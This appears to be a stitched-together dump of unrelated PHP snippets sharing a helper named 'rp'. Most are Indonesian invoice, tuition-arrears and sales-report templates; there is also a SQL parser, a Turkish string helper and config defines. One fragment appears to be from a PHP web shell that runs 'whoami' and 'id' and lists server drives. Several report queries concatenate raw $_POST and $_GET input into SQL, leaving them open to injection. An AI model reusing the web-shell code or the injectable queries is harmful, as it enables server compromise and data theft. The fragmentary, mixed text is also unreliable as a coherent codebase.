<tr><td colspan="7"><?php echo anchor('keuangan/cetakpersonal', 'Cetak Data', array('class' => 'btn btn-danger', 'target' => 'new')); ?> </td></tr> </table> <table class="table table-bordered"> <tr class="success"><th colspan="7">Riwayat Transaksi Detail</th></tr> <tr><th width="10">No</th> <th width="500">Jenis Pembayaran</th> <th width="120">Tanggal</th> <th width="160">Jumlah</th> <th width="200">Petugas</th><th width="10">Operasi</th></tr> <?php $i = 1; foreach ($transaksi as $r) { $smt = $r->jenis_bayar_id == 3 ? $r->semester : ''; echo "<tr>\n <td>{$i}</td>\n <td>" . strtoupper($r->keterangan) . " {$smt}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>Rp ." . rp((int) $r->jumlah) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td align='center'>" . anchor('keuangan/delete/' . $r->pembayara_detail_id, '<i class="fa fa-trash-o"></i>', array('title' => 'Hapus Catatan')) . "</td></tr>"; $i++; } ?> </table> <?php } else { ?> <?php }
function parseSQLFile($filename, &$tables, &$edges) { //init $tables = array(); $edges = array(); //parse file $file = file($filename); for ($i = 0; $i < count($file); ++$i) { $line = trim($file[$i]); //node if (beginsWith($line, "CREATE TABLE")) { $parts = explode(" ", $line); $current_table = $parts[2]; $tables[$current_table] = array(); $j = $i + 1; $line = trim($file[$j]); //table while (!beginsWith($line, "CREATE TABLE") && !beginsWith($line, "ALTER TABLE") && $line != "") { //primary key if (beginsWith($line, "PRIMARY KEY")) { $parts = explode(" ", $line); $tables[$current_table][rp($parts[3])][] = "P"; } elseif (beginsWith($line, "KEY")) { $parts = explode(" ", $line); $tables[$current_table][rp($parts[2])][] = "I"; } else { $parts = explode(" ", $line); if ($parts[0] != ")") { $tables[$current_table][$parts[0]] = array(); } } ++$j; $line = trim($file[$j]); } } elseif (beginsWith($line, "ALTER TABLE")) { $parts = explode("`", $line); $from = $parts[1]; $j = $i + 1; while (beginsWith(trim($file[$j]), "ADD CONSTRAINT")) { $parts = explode(" ", $file[$j]); $to = $parts[9]; $tables[$from][rp($parts[7])][] = "F"; $edges[] = array($from, $to); ++$j; } } } }
function cetak_pt($enkrip = null, $id = null) { // $enkrip=$this->enkrip(); if ($id != null) { $data = $this->ptdb->getonept($id); // print_r($data); $div = ''; $div .= '<table class="table table-condensed table-striped table-bordered">'; $div .= '<tbody>'; // $div.='<tr>'; $div .= '<tr><th>Faktur PO:</th><td>' . $data['faktur_pt'] . '</td><th>Tanggal PO</th><td>' . $data['tgl_pt'] . '</td></tr>'; $div .= '<tr><th>Supplier:</th><td>' . $data['namasupplier'] . ' (' . $data['kdsupplier'] . ')</td><th>Tanggal Kirim</th><td>' . $data['tgl_kirim_pt'] . '</td></tr>'; $div .= '<tr><th>Status PO:</th><td>' . $data['status'] . '</td><td>Tanggal Kedaluarsa</td><td>' . $data['tgl_kedaluarsa_pt'] . '</td></tr>'; $div .= '<tr><th>Total:</th><td>' . rp($data['totalbayar']) . '</td><th>Pembayaran:</th><td>' . $data['jenis_pembayaran'] . '</td></tr>'; $div .= "</tbody></table><table class='table table-condesed table-striped'><tbody>"; $div .= '<tr><th class="text-center">No</th><th class="text-center">Kode</th> <th class="text-center">Nama Barang</th> <th class="text-center">Jumlah</th> <th class="text-center">Satuan</th> <th class="text-center">Harga</th> <th class="text-center">Subtotal</th> </tr>'; $detail = $this->ptdb->get_detail_pt($data['faktur_pt']); // print_r($detail); $jdetail = count($detail); $j = 1; for ($i = 0; $i < $jdetail; $i++) { # code... $div .= '<tr ><td class="text-center">' . $j . '</td><td class="text-center">' . $detail[$i]['Kode'] . '</td><td>' . $detail[$i]['Nama'] . '</td><td class="text-center">' . $detail[$i]['jumlah'] . '</td><td class="text-center">' . $detail[$i]['satuan'] . '</td><td class="text-right">' . rp($detail[$i]['harga']) . '</td><td class="text-right">' . rp($detail[$i]['subtotal']) . '</td></tr>'; $j++; } $div .= "<tr><td colspan='5'></td><th class='text-right'><h3>Total</h3></th><th class='text-right'><h3>" . rp($data['totalbayar']) . "</h3></th></tr>"; $div .= "</tbody></table>"; $this->template->set_layout('cetak'); $this->template->load_view('cetak_pt_baru', array('content' => $div, 'data' => $data, 'detail' => $detail)); } }
Sampai <?php echo tgl_indo($this->uri->segment(4)); ?> </td></tr> </table><hr> <br><table border="1" cellspacing="0"> <tr> <th>No</th> <th>Tanggal</th> <th width="60">NIM</th> <th width="120">Nama Mahasiswa</th> <th width="130">Program Studi</th> <th width="120">Jenis Pembayaran</th> <th width="90">Total</th> </tr> <?php $no = 1; $total = 0; foreach ($transaksi as $r) { echo "<tr><td>{$no}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td>" . strtoupper($r->nama_konsentrasi) . "</td>\n <td>" . strtoupper($r->keterangan) . "</td>\n <td align='right'>" . rp((int) $r->jumlah) . "</td>\n </tr>"; $no++; $total = $total + $r->jumlah; } ?> <tr> <td align='right' colspan='6'><b>Grand Total</b></td> <td align='right'><b><?php echo rp($total); ?> </b></td> </tr></table>
function requested_url() { global $config; $page = str_replace(rp(), '', $_SERVER['REQUEST_URI']); $page = !empty($_SERVER['REQUEST_URI']) ? preg_replace('#^/?(.*?)/?$#', '\\1', $page) : ''; return $page; }
// Baca input tanggal yang dikirimkan user $mulai = $_POST[thn_mulai] . '-' . $_POST[bln_mulai] . '-' . $_POST[tgl_mulai]; $selesai = $_POST[thn_selesai] . '-' . $_POST[bln_selesai] . '-' . $_POST[tgl_selesai]; // Query untuk merelasikan kedua tabel di filter berdasarkan tanggal $sql = mysql_query("SELECT orders.id_orders as faktur,DATE_FORMAT(tgl_order, '%d-%m-%Y') as tanggal,\n nama_produk,jumlah,harga \n FROM orders, orders_detail, produk \n WHERE (orders_detail.id_produk=produk.id_produk) \n AND (orders_detail.id_orders=orders.id_orders) \n AND (orders.status_order='Lunas') \n AND (orders.tgl_order BETWEEN '{$mulai}' AND '{$selesai}')"); $jml = mysql_num_rows($sql); if ($jml > 0) { $i = 1; while ($r = mysql_fetch_array($sql)) { $quantityharga = rp($r[jumlah] * $r[harga]); $hargarp = rp($r[harga]); $faktur = $r[faktur]; $data[$i] = array('<b>No</b>' => $i, '<b>Faktur</b>' => $faktur, '<b>Tanggal</b>' => $r[tanggal], '<b>Nama Produk</b>' => $r[nama_produk], '<b>Qty</b>' => $r[jumlah], '<b>Harga</b>' => $hargarp, '<b>Sub Total</b>' => $quantityharga); $total = $total + $r[jumlah] * $r[harga]; $totqu = $totqu + $r[jumlah]; $i++; } $pdf->ezTable($data, '', '', ''); $tot = rp($total); $pdf->ezText("\n\nTotal keseluruhan : Rp. {$tot}"); $pdf->ezText("\nJumlah yang terjual : {$jml} unit"); $pdf->ezText("Jumlah keseluruhan yg terjual: {$totqu} unit"); // Penomoran halaman $pdf->ezStartPageNumbers(320, 15, 8); $pdf->ezStream(); } else { $m = $_POST[tgl_mulai] . '-' . $_POST[bln_mulai] . '-' . $_POST[thn_mulai]; $s = $_POST[tgl_selesai] . '-' . $_POST[bln_selesai] . '-' . $_POST[thn_selesai]; echo "Tidak ada transaksi/order pada Tanggal {$m} s/d {$s}"; } }
$s_safemode = FALSE; } // uname -a $s_system = php_uname(); // check os $s_win = FALSE; if (strtolower(substr($s_system, 0, 3)) == "win") { $s_win = TRUE; } // get path and all drives available $letters = ''; if (!$s_win) { if (!($s_user = rp(exe("whoami")))) { $s_user = ""; } if (!($s_id = rp(exe("id")))) { $s_id = ""; } $pwd = getcwd() . DIRECTORY_SEPARATOR; } else { $s_user = get_current_user(); $s_id = $s_user; $pwd = realpath(".") . "\\"; // find drive letters $v = explode("\\", $d); $v = $v[0]; foreach (range("A", "Z") as $letter) { $bool = @is_dir($letter . ":\\"); if ($bool) { $letters .= "<a href=\"?d=" . $letter . ":\\\">[ "; if ($letter . ":" != $v) {
<?php echo form_input('biayakirimx', set_value('biayakirimx', isset($default['biayakirim']) ? rp($default['biayakirim']) : ''), 'id="biayakirimx" class="form-control input-lg text-right" style="font-size:24px;" placeholder="Masukkan biayakirimx" disabled'); ?> </div> </div> <div class="form-group"> <?php echo form_label('grandtotal : ', 'grandtotal', array('class' => 'control-label')); ?> <div class="controls"> <?php echo form_input('grandtotal', set_value('grandtotal', isset($default['grandtotal']) ? $default['grandtotal'] : ''), 'id="grandtotal" class="form-control input-lg text-right hidden" readonly style="font-size:24px;" placeholder="Masukkan grandtotal"'); ?> <?php echo form_input('grandtotalx', set_value('grandtotalx', isset($default['grandtotal']) ? rp($default['grandtotal']) : ''), 'id="grandtotalx" class="form-control input-lg text-right" style="font-size:24px;" placeholder="Masukkan grandtotalx" disabled'); ?> </div> </div> </div> <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12"> <?php $act = $this->session->userdata('action'); if ($act['baru'] == 1) { ?> <button id="save_retur" type="submit" class="btn btn-lg btn-success"><icon class="fa fa-floppy-o"></icon> Simpan</button> <?php
<td><?php echo rp((int) $totalsmpp); ?> </td> <td><?php echo rp($wisuda); ?> </td> <td><?php echo rp($totallain); ?> </td> <td><?php echo rp($totalsmpp + $totallain + $totalwisuda); ?> </td> </tr> <tr> <td colspan="5"><p align="right" >Jumlah Debit</p></td> <td colspan="3"><p align="right" ><?php echo rp($totalsmpp + $totallain + $totalwisuda); ?> </p></td> <td><?php echo rp($totalsmpp + $totallain + $totalwisuda); ?> </td> </tr> </table>
echo "</tr>"; } ?> </tbody> </table> </div><!-- /table-responsive --> <table class="table invoice-total"> <tbody> <tr> <td><strong>Total :</strong></td> <td><?php echo rp($data['totalbayar']); ?> </td> </tr> <!-- <tr> <td><strong>PAJAK :</strong></td> <td>$235.98</td> </tr> <tr> <td><strong>GRAND TOTAL :</strong></td> <td>$1261.98</td> </tr> --> </tbody> </table> <?php }
$pdf->addObject($all, 'all'); // Baca input tanggal yang dikirimkan user $tgl1 = $_POST[thn_1] . '-' . $_POST[bln_1]; $pecah1 = explode("-", $tgl1); $month1 = $pecah1[1]; $year1 = $pecah1[0]; // Query untuk merelasikan kedua tabel di filter berdasarkan tanggal $sum = mysql_fetch_array(mysql_query("SELECT * FROM master_laporan WHERE bulan='{$month1}' AND tahun='{$year1}'")); $sql = mysql_query("select * from master_laporan where tahun='{$year1}' and bulan='{$month1}'"); $jml = mysql_num_rows($sql); if ($jml > 0) { $i = 1; while ($r = mysql_fetch_array($sql)) { $n3 = rp($r[3]); $n2 = rp($r[2]); $n7 = rp($r[7]); $n4 = rp($r[4]); $n5 = rp($r[5]); $n6 = rp($r[6]); $data[$i] = array('<b>No</b>' => $i, '<b>Tahun</b>' => $r[0], '<b>Bulan</b>' => $r[1], '<b>Penjualan</b>' => $n2, '<b>Pembelian</b>' => $n3, '<b>Hpp</b>' => $n4, '<b>Biaya</b>' => $n5, '<b>Persd.Akhir</b>' => $n7, '<b>Laba</b>' => $n6); $i++; } $pdf->ezTable($data, '', '', ''); // Penomoran halaman $pdf->ezStartPageNumbers(320, 15, 8); $pdf->ezStream(); } else { $m = $_POST[bln_1]; $s = $_POST[thn_1]; echo "<script>window.alert('Tidak ada laporan laba rugi pada Bulan {$m} Tahun {$s}');\n window.location=('" . $uri . "/apotek/out.php')</script>"; }
function strto($to, $str) { define('cs', 'utf-8'); if (!function_exists('rp')) { function rp($i, $str) { $B = array('I', 'Ğ', 'Ü', 'Ş', 'İ', 'Ö', 'Ç'); $k = array('ı', 'ğ', 'ü', 'ş', 'i', 'ö', 'ç'); $Bi = array(' I', ' ı', ' İ', ' i'); $ki = array(' I', ' I', ' İ', ' İ'); if ($i == 1) { return str_replace($B, $k, $str); } elseif ($i == 2) { return str_replace($k, $B, $str); } elseif ($i == 3) { return str_replace($Bi, $ki, $str); } } } if (!function_exists('cf')) { function cf($c = array(), $str) { foreach ($c as $cc) { $s = explode($cc, $str); foreach ($s as $k => $ss) { $s[$k] = strto('ucfirst', $ss); } $str = implode($cc, $s); } return $str; } } if (!function_exists('te')) { function te() { return trigger_error('Lütfen geçerli bir strto() parametresi giriniz.', E_USER_ERROR); } } $to = explode('|', $to); if ($to) { foreach ($to as $t) { if ($t == 'lower') { $str = mb_strtolower(rp(1, $str), cs); } elseif ($t == 'upper') { $str = mb_strtoupper(rp(2, $str), cs); } elseif ($t == 'ucfirst') { $str = mb_strtoupper(rp(2, mb_substr($str, 0, 1, cs)), cs) . mb_substr($str, 1, mb_strlen($str, cs) - 1, cs); } elseif ($t == 'ucwords') { $str = ltrim(mb_convert_case(rp(3, ' ' . $str), MB_CASE_TITLE, cs)); } elseif ($t == 'capitalizefirst') { $str = cf(array('. ', '.', '? ', '?', '! ', '!', ': ', ':'), $str); } else { $str = te(); } } } else { $str = te(); } return $str; }
$sudah_bayar = (int) get_biaya_sudah_bayar($biodata['nim'], $jb->jenis_bayar_id); $sisa = $jumlah_bayar - $sudah_bayar; $ket = $sisa <= 0 ? 'Lunas' : 'Tunggakan ' . rp($sisa); echo "<tr><td>{$no}</td>\n <td>" . strtoupper($jb->keterangan) . "</td>\n <td>" . rp($jumlah_bayar) . "</td>\n <td>" . rp($sudah_bayar) . "</td>\n <td>" . rp($sisa) . "</td>\n </tr>"; $no++; $sisa_total = $sisa_total + $sisa; } // looping semester for ($i = 1; $i <= $semester; $i++) { $spp = (int) get_biaya_kuliah($tahun_akademik_id, 3, $konsentrasi_id, 'jumlah'); $spp_udah_bayar = (int) get_semester_sudah_bayar($biodata['nim'], $i); $sisa = $spp - $spp_udah_bayar; $keterangan = $sisa <= 0 ? 'Lunas' : 'Tunggakan ' . $sisa; echo "<tr><td>{$no}</td>\n <td>SPP SEMESTER {$i}</td>\n <td>" . rp($spp) . "</td>\n <td>" . rp($spp_udah_bayar) . "</td>\n <td>" . rp($sisa) . "</td>"; $sisa_total = $sisa_total + $sisa; $no++; } ?> <tr><td colspan="4" align="left">Total Yang Belum Dibayar</td><td><?php echo rp($sisa_total); ?> </td></tr> </table> <br><br> Cimahi, <?php echo tgl_indo(substr(waktu(), 0, 10)); ?> <br> Bagian Keuangan<BR></br><br><br><br> (...........................)
<th width="70">Nim</th> <th>Nama Mahasiswa</th> <th width="200">Program Studi</th> <th width="220">Jenis Bayar</th> <th width="60">Jumlah</th></tr> <?php $no = 1; $jumlah = 0; foreach ($transaksi as $r) { echo "<tr>\n <td>{$no}</td>\n <td>" . tgl_indo($r->tanggal) . "</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td>" . strtoupper($r->nama) . "</td>\n <td>" . strtoupper($r->nama_konsentrasi) . "</td>\n <td>" . strtoupper($r->keterangan) . "</td>\n \n <td align='right'>" . rp((int) $r->jumlah) . "</td>\n </tr>"; $jumlah = $jumlah + $r->jumlah; $no++; } ?> <tr><td colspan="6"><p align='right'>Grand Total</p></td><td align='right'><?php echo rp($jumlah); ?> </td></tr> </table> <?php } ?> <script type="text/javascript"> function cetak(id,id2) { window.open('http://localhost/akademik/keuangan/cetak/','1397003076569','width=700,height=500,toolbar=0,menubar=0,location=0,status=1,scrollbars=1,resizable=1,left=0,top=0'); } </script>
</td> <td><?php echo $value['jumlah_satuan'] . " (" . $value['satuan'] . ")"; ?> </td> <td class="text-right"><?php echo rp($value['harga_satuan']); ?> </td> <td class="text-right"><?php echo rp($value['subtotal']); ?> </td> </tr> <?php } ?> <tr> <th class="text-right" colspan="4">Total</th><td class="text-right"><?php echo rp($data['total']); ?> </td> </tr> </tbody> <tfoot> <tr></tr> </tfoot> </table>
function tabeldetail() { $data = $this->podb->getdetail_po_temp(); if (!empty($data)) { $div = ''; $div .= '<table id="datatables" class="tabletemp table table-condensed table-bordered table-striped" style="font-size:12px">'; $div .= "<thead>"; $div .= "<tr>"; $div .= "<th class='text-center'>#</th>"; $div .= "<th class='text-center'>#PO</th>"; $div .= "<th class='text-center'>Kode</th>"; $div .= "<th class='text-center'>Barang</th>"; $div .= "<th class='text-center'>Jumlah</th>"; $div .= "<th class='text-center'>Satuan</th>"; $div .= "<th class='text-center'>Harga</th>"; $div .= "<th class='text-center'>Sub Total</th>"; $div .= "<th class='text-center'>#</th>"; $div .= "</tr>"; $div .= "</thead><tbody>"; $jml = count($data); $total = 0; // print_r($data); $j = 0; for ($i = 0; $i < $jml; $i++) { # code... foreach ($data as $v) { $div .= "<tr>"; $div .= "<td>" . $j . "</td>"; $div .= "<td>" . $v['id_po'] . "</td>"; $div .= "<td>" . $v['Kode'] . "</td>"; $div .= "<td>" . $v['Nama'] . "</td>"; $div .= "<td>" . $v['jumlah'] . "</td>"; $div .= "<td>" . $v['satuan_kemasan'] . "</td>"; $div .= "<td class='text-right'>" . rp($v['harga_kemasan']) . "</td>"; $div .= "<td class='text-right'>" . rp($v['subtot_kemasan']) . "</td>"; $div .= "<td ><button data-toggle='tooltip' data-placement='top' title='Hapus' class='delete_temp btn btn-xs btn-danger' id='" . $v['id_detail'] . "'><i class='fa fa-minus'></i></button></td>"; $div .= "</tr>"; $j++; } $total = $total + $v['subtot_kemasan']; } $div .= '</tbody><tfoot><tr>'; $div .= '<th colspan="6" class="text-right">Total</th>'; $div .= '<th class="text-right">' . rp($total) . '</th>'; $div .= '</tr></tfoot>'; $div .= '</table>'; } else { $div = array(); } return $div; }
<th>Tunggakan</th> </tr> <?php $i = 1; $tunggakan_spp = 0; foreach ($mahasiswa as $m) { $tunggakan = 0; echo "<tr><td>{$i}</td>\n <td>" . strtoupper($m->nim) . "</td>\n <td>" . strtoupper($m->nama) . "</td>"; for ($i = 1; $i <= $jml_semester; $i++) { $jml_spp = jml_spp_konsentrasi2($konsentrasi_id, $tahun_akademik); $sdh_bayar = chek_bayar_semester($m->nim, $i); echo "<td align='right'>" . rp((int) $sdh_bayar) . "</td>"; $tunggakan = $tunggakan + ($jml_spp - $sdh_bayar); } echo "<td align='right'>" . rp((int) $tunggakan) . "</td>"; $tunggakan_spp = $tunggakan_spp + $tunggakan; $i++; } ?> </tr> <tr><td colspan="<?php echo $jml_semester + 3; ?> "></td><td align="right"><?php echo rp((int) $tunggakan_spp); ?> </td></tr> </table> <?php }
function cetak_pt($enkrip = null, $id = null) { // $enkrip=$this->enkrip(); if ($id != null) { $data = $this->ptdb->getonept($id); // echo "<pre>"; // print_r($data); $div = ''; $div .= '<table class="table table-condensed table-striped table-bordered">'; $div .= '<tbody>'; // $div.='<tr>'; $div .= '<tr><th>#Faktur PT:</th><td>' . $data['faktur_pt'] . '</td><th>Tanggal Transaksi</th><td>' . $data['tgl_pt'] . '</td></tr>'; $div .= '<tr><th>Supplier:</th><td>' . $data['Nama'] . ' (' . $data['Kode'] . ')</td><th>Tanggal Kirim</th><td>' . $data['tgl_jatuh_tempo'] . '</td></tr>'; $div .= "</tbody></table><table class='table table-condesed table-striped'><tbody>"; $div .= '<tr><th class="text-center">No</th><th class="text-center">Kode</th> <th class="text-center">Nama Barang</th> <th class="text-center">Jumlah</th> <th class="text-center">Satuan</th> <th class="text-center">Harga</th> <th class="text-center">Subtotal</th> </tr>'; $detail = $this->ptdb->get_detail_pt($data['id']); // print_r($detail); // echo "</pre>"; $jdetail = count($detail); $j = 1; for ($i = 0; $i < $jdetail; $i++) { # code... $div .= '<tr ><td class="text-center">' . $j . '</td><td class="text-center">' . $detail[$i]['Kode'] . '</td><td>' . $detail[$i]['Nama'] . '</td><td class="text-center">' . $detail[$i]['jumlah'] . '</td><td class="text-center">' . $detail[$i]['satuan'] . '</td><td class="text-right">' . rp($detail[$i]['harga_satuan']) . '</td><td class="text-right">' . rp($detail[$i]['subtotal']) . '</td></tr>'; $j++; } $div .= "<tr><td colspan='5'></td><th class='text-right'><h3>Total</h3></th><th class='text-right'><h3>" . rp($data['totalbayar']) . "</h3></th></tr>"; $div .= "</tbody></table>"; $supplier = $this->spdb->get_one($data['id_supplier']); // print_r($supplier); $this->template->set_layout('cetak'); $this->template->load_view('cetak_pt', array('content' => $div, 'data' => $data, 'detail' => $detail, 'supplier' => $supplier)); } }
$pdf->closeObject(); // Tampilkan object di semua halaman $pdf->addObject($all, 'all'); // Baca input tanggal yang dikirimkan user $mulai = $_GET[tgl1]; $selesai = $_GET[tgl2]; // Koneksi ke database dan tampilkan datanya // Query untuk merelasikan kedua tabel di filter berdasarkan tanggal $sql = mysql_query("select kd_penj.tanggal,kd_penj.kd_pjl,penjualan.id_product,barang.nama,\n penjualan.harga,penjualan.jumlah,penjualan.subtotal\n from penjualan,kd_penj,barang\n where kd_penj.kd_pjl=penjualan.id_transaksi and barang.kode=penjualan.id_product and kd_penj.tanggal\n\t\t\t\t\t\t\t\t\t\t between '{$mulai}' and '{$selesai}'\n\t\t\t\t\t"); $sum = mysql_fetch_array(mysql_query("SELECT sum(total) as total from \n\t\tkd_penj where tanggal between '{$mulai}' and '{$selesai}'")); $jml = mysql_num_rows($sql); if ($jml > 0) { $i = 1; while ($r = mysql_fetch_array($sql)) { $hargarp = rp($r[4]); $subrp = rp($r[6]); $data[$i] = array('<b>No</b>' => $i, '<b>Tanggal</b>' => $r[0], '<b>Kode Transaksi</b>' => $r[1], '<b>Nama Barang</b>' => $r[3], '<b>Harga</b>' => $hargarp, '<b>Jumlah</b>' => $r[5], '<b>SubTotal</b>' => $subrp); $i++; } $pdf->ezTable($data, '', '', ''); $tot = rp($sum[total]); $pdf->ezText("\n\nTotal keseluruhan : Rp. {$tot}"); $pdf->ezText("Pencarian dari Tanggal {$mulai} s/d {$selesai}"); // Penomoran halaman $pdf->ezStartPageNumbers(320, 15, 8); $pdf->ezStream(); } else { $m = $_POST[tgl_1] . '-' . $_POST[bln_1] . '-' . $_POST[thn_1]; $s = $_POST[tgl_2] . '-' . $_POST[bln_2] . '-' . $_POST[thn_2]; echo "<script>window.alert('Tidak ada laporan Penjualan pada Tanggal {$m} s/d {$s}');\n window.location=('" . $uri . "/apotek/out.php')</script>"; }
#if ($_GET['fn']{strlen($_GET['fn'])-1}=="/"){ # $_GET['fn'].="/"; # } # if ($_GET['fd']=='.'){$temp_1="./";}elseif($_GET['fd']=='/'){$temp_1="/";}else{$temp_1='';} #if ($_GET['fd']{0}=="/"){$temp_1='/';}elseif ($_GET['fd']{0}=="."){$temp_1='.';}else{$temp_1='';} #if ($_GET['go']=='..'){$temp_2="/../";}else{$temp_2='';} #echo $_GET['fn'];die(); if (strlen($__lang['ele']) > 0) { $__lang['ele'] .= '%2F'; } $urlt = str_replace("%2F%2F", "%2F", "&fd=" . urlencode(htmlentities(rp(str_replace("\\", "/", $_GET['fd']) . $_GET['fn'])))); } else { $_GET['cat'] = $__lang['files']; $__lang['ele'] = "&fn="; if (isset($_GET['fd']) && isset($_GET['fn'])) { $urlt = str_replace("%2F%2F", "%2F", "&fd=" . urlencode(htmlentities(rp($_GET['fd'])))) . "&ele=" . urlencode(htmlentities($_GET['fn'])); } } #$urlt="&fd=".htmlentities(urlencode($temp_1.rp($_GET['fd'].$_GET['fn']))); #} #$current_ext= end(explode('.', html_entity_decode($_GET['ele']))); #### VARS #### if (!isset($current_extlink)) { $current_extlink = ""; } $___wph = $workpathios[2] . $current_extlink . "/"; $___workpath = $workpathios[2] . "css/"; #echo $___workpath;die(); $depend["parse_init"] = false; startfunct($depend); $depend = array();
<td></td> <td></td> <td></td> <td><strong>PAJAK :</strong></td> <td><?php echo $data['ppn']; ?> </td> </tr> <tr> <td></td> <td></td> <td></td> <td><strong>GRAND TOTAL :</strong></td> <td><?php echo rp($data['grandtotal']); ?> </td> </tr> </tbody> </table> <?php } ?> <div class="text-right"> <button class="btn btn-primary"> Proses Bayar <i class="fa fa-chevron-right"></i></button> </div> <div class="well m-t"><strong>Comments</strong> It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less </div>
function tampilkandata($konsentrasi, $tahun_akademik) { // fires else $data = $this->db->get_where('student_mahasiswa', array('konsentrasi_id' => $konsentrasi, 'angkatan_id' => $tahun_akademik))->result(); $jenis_bayar = $this->db->get('keuangan_jenis_bayar'); echo "<table class='table table-bordered'>\n <tr><th width='170'>Nama Konsentrasi</th><th>" . strtoupper(getField('akademik_konsentrasi', 'nama_konsentrasi', 'konsentrasi_id', $konsentrasi)) . "</th></tr>\n <tr><th>Tahun Akademik</th><th>" . getField('student_angkatan', 'keterangan', 'angkatan_id', $tahun_akademik) . "</th></tr>\n \n </table>"; echo "<table class='table table-bordered'>\n <tr><th rowspan=2>No</th><th rowspan=2>Nim</th><th rowspan='2' width='200'>Nama Lengkap</th>"; foreach ($jenis_bayar->result() as $j) { echo "<th colspan=3><p align='center'>" . strtoupper($j->keterangan) . "</p></th>"; } echo "<th rowspan=2>Total Tunggakan</th></tr>\n <tr>"; foreach ($jenis_bayar->result() as $j) { echo "<th>01</th><th>02</th><th>03</th>"; } echo "</tr>"; $no = 1; $tunggakan = 0; foreach ($data as $r) { // zebra $bgcolor = $no % 2 != 0 ? '#CCCCCC' : '#FFFFFF'; // end zebra echo "<tr bgcolor='{$bgcolor}'>\n <td>{$no}</td>\n <td>" . strtoupper($r->nim) . "</td>\n <td width='200'>" . strtoupper($r->nama) . "</td>"; // foreach kolom value $tunggakanmsw = 0; foreach ($jenis_bayar->result() as $jb) { $harus_bayar = chek_bayar($r->nim, $jb->jenis_bayar_id, 01); $sudah_bayar = chek_bayar($r->nim, $jb->jenis_bayar_id, 02); $sisa1 = $harus_bayar - $sudah_bayar; $sisa = $sisa1 == 0 ? 'Lunas' : rp((int) $sisa1); echo "<td>" . rp((int) $harus_bayar) . "</td>\n <td>" . rp((int) $sudah_bayar) . "</td>\n <td>" . $sisa . "</td>"; $tunggakanmsw = $tunggakanmsw + $sisa1; // } echo "<td>" . rp((int) $tunggakanmsw) . "</td></tr>"; $tunggakan = $tunggakan + $tunggakanmsw; $no++; } echo "<tr class='success'>\n <td colspan=" . ($jenis_bayar->num_rows() * 3 + 0) . "></td>\n <td colspan=3>Total Tunggakan</td><td><b>" . rp((int) $tunggakan) . "</b></td>\n </tr></table>"; // hitung sudah berapa tahun kuliah berdasarkan tahun akademik $tahun_sekarang = date('Y'); $jml_semester = $tahun_akademik - $tahun_sekarang + 1; $smt_aktif = getField('student_mahasiswa', 'semester_aktif', 'angkatan_id', $_GET['tahun_angkatan']); $spp_bayar = jml_spp_konsentrasi($konsentrasi, $_GET['tahun_angkatan']); echo "<table class='table table-bordered'>\n <tr class='success'>\n <th colspan=" . ($smt_aktif + 4) . ">PEMBAYARAN SPP | BIAYA SPP PERSEMESTER = RP. " . rp((int) $spp_bayar) . "</th>\n </tr>\n <tr>\n <th width='10'>No</th>\n <th width='60'>NIM</th>\n <th>NAMA</th>"; // looping semester // get semester aktif for ($i = 1; $i <= $smt_aktif; $i++) { echo "<th><p align='center'>SEMESTER {$i}</p></th>"; } echo "<th>Tunggakan</th></tr>"; $no = 1; $tot_tunggakan = 0; foreach ($data as $r) { $tunggakan_smt = 0; // zebra $bgcolor = $no % 2 != 0 ? '#CCCCCC' : '#FFFFFF'; // end zebra echo "<tr bgcolor='{$bgcolor}'><td>{$no}</td> \n <td>" . strtoupper($r->nim) . "</td>\n <td width='200'>" . strtoupper($r->nama) . "</td>"; // looping kolom bayar for ($i = 1; $i <= $smt_aktif; $i++) { $spp = chek_bayar_semester($r->nim, $i); echo "<td>" . rp((int) $spp) . "</td>"; $tunggakan_smt = $tunggakan_smt + ($spp_bayar - $spp); } // end looping kolom bayar echo "<td>" . rp((int) $tunggakan_smt) . "</td></tr>"; $tot_tunggakan = $tot_tunggakan + $tunggakan_smt; $no++; } echo "<tr><td colspan='" . ($smt_aktif + 3) . "'>Jumlah Tunggakan</td><td>" . rp((int) $tot_tunggakan) . "</td></tr></table>"; // end else }
$out[] = $fold; } } return ($path[0] == '/' ? '/' : '') . join('/', $out); } $root = explode(basename($_SERVER['PHP_SELF']), $_SERVER["PHP_SELF"]); define("ROOT_DIR", $root[0]); define("ROOT_URL", "http://" . $_SERVER['HTTP_HOST'] . ROOT_DIR); define("CONFIG_DIR", rp("./config")); // class define("CLASS_DIR", rp("./Class")); define("SMARTY_DIR", CLASS_DIR . "/Smarty"); define("SMARTY_SYSPLUGINS_DIR", SMARTY_DIR . "/sysplugins/"); //END slashess used in smarty class define("SMARTY_PLUGIN", SMARTY_DIR . "/plugins/"); //END slashess used in smarty class // cache define("CACHE_DIR", rp("./cache")); define("CACHE_SMARTY_DIR", CACHE_DIR . "/.smarty-cache"); define("CACHE_SMARTY_COMPILE", CACHE_DIR . "/.smarty-compile"); // Templates define("TEMPLATE_EXT", rp(".tpl")); define("TEMPLATE_DIR", rp("./templates/guildPanel2016")); define("IMG_DIR", TEMPLATE_DIR . "/img"); define("JS_DIR", TEMPLATE_DIR . "/js"); define("CSS_DIR", TEMPLATE_DIR . "/css"); define("ADM_DIR", TEMPLATE_DIR . "/adm"); $templateList = array("header", "toolbar", "index", "footer"); // Modules define("MOD_DIR", rp("./modules"));
</td> <td> <?php echo rp($data['bm']); ?> </td> <td> <?php echo rp($data['cukai']); ?> </td> <td> <?php echo rp($data['piutang']); ?> </td> <td width="120px" class="text-center"> <?php if (in_array('penerimaanedit', $menurole)) { ?> <a href="index.php?c=penerimaan&m=penerimaanedit&id_penerimaan=<?php echo $data['id_penerimaan']; ?> "> Edit</a> <?php } ?>